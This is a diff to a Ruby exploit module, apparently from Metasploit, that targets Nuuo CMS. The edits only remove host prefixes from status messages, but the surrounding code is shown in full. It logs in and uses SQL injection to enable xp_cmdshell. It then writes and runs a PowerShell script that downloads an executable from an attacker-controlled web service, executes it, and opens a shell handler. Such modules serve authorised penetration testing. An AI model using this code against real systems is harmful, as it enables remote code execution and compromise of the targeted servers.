@@ -65,10 +65,10 @@ def inject_sql(sql, final = false)
65
65
def on_request_uri ( cli , request )
66
66
#print_status("on_request_uri called: #{request.inspect}")
67
67
if ( not @pl )
68
- print_error ( "#{ peer } - A request came in, but the payload wasn't ready yet!" )
68
+ print_error ( "A request came in, but the payload wasn't ready yet!" )
69
69
return
70
70
end
71
- print_good ( "#{ peer } - Sending the payload to CMS..." )
71
+ print_good ( "Sending the payload to CMS..." )
72
72
@exe_sent = true
73
73
send_response ( cli , @pl )
74
74
end
@@ -86,7 +86,7 @@ def exploit
86
86
login
87
87
88
88
if @session == nil
89
- fail_with ( Failure ::Unknown , "#{ peer } - Failed to login to Nuuo CMS" )
89
+ fail_with ( Failure ::Unknown , "Failed to login to Nuuo CMS" )
90
90
end
91
91
92
92
downfile = rand_text_alpha ( 8 +rand ( 8 ) )
@@ -107,7 +107,7 @@ def exploit
107
107
end
108
108
109
109
service_url = 'http://' + srv_host + ':' + datastore [ 'SRVPORT' ] . to_s + resource_uri
110
- print_status ( "#{ peer } - Starting up our web service on #{ service_url } ..." )
110
+ print_status ( "Starting up our web service on #{ service_url } ..." )
111
111
start_service ( { 'Uri' => {
112
112
'Proc' => Proc . new { |cli , req |
113
113
on_request_uri ( cli , req )
@@ -119,11 +119,11 @@ def exploit
119
119
120
120
# we need to roll our own here instead of using the MSSQL mixins
121
121
# (tried that and it doesn't work)
122
- print_status ( "#{ peer } - Enabling xp_cmdshell and asking CMS to download and execute #{ service_url } " )
122
+ print_status ( "Enabling xp_cmdshell and asking CMS to download and execute #{ service_url } " )
123
123
filename = rand_text_alpha_lower ( rand ( 8 ) + 2 ) + ".exe"
124
124
download_pl = %{xp_cmdshell 'cd C:\\ windows\\ temp\\ && echo $storageDir=$pwd > wget.ps1 && echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && echo $url = "#{ service_url } " >> wget.ps1 && echo $file = "#{ filename } " >> wget.ps1 && echo $webclient.DownloadFile($url,$file) >> wget.ps1 && powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1'}
125
125
126
- print_status ( "#{ peer } - Injecting PowerShell payload" )
126
+ print_status ( "Injecting PowerShell payload" )
127
127
inject_sql ( "exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd ( download_pl ) )
128
128
129
129
counter = 0
@@ -133,10 +133,10 @@ def exploit
133
133
end
134
134
135
135
if not @exe_sent
136
- fail_with ( Failure ::Unknown , "#{ peer } - Could not get CMS to download the payload" )
136
+ fail_with ( Failure ::Unknown , "Could not get CMS to download the payload" )
137
137
end
138
138
139
- print_status ( "#{ peer } - Executing shell..." )
139
+ print_status ( "Executing shell..." )
140
140
inject_sql ( create_hex_cmd ( "xp_cmdshell \" cmd /c C:\\ windows\\ temp\\ #{ filename } \" " ) , true )
141
141
handler
142
142
end
0 commit comments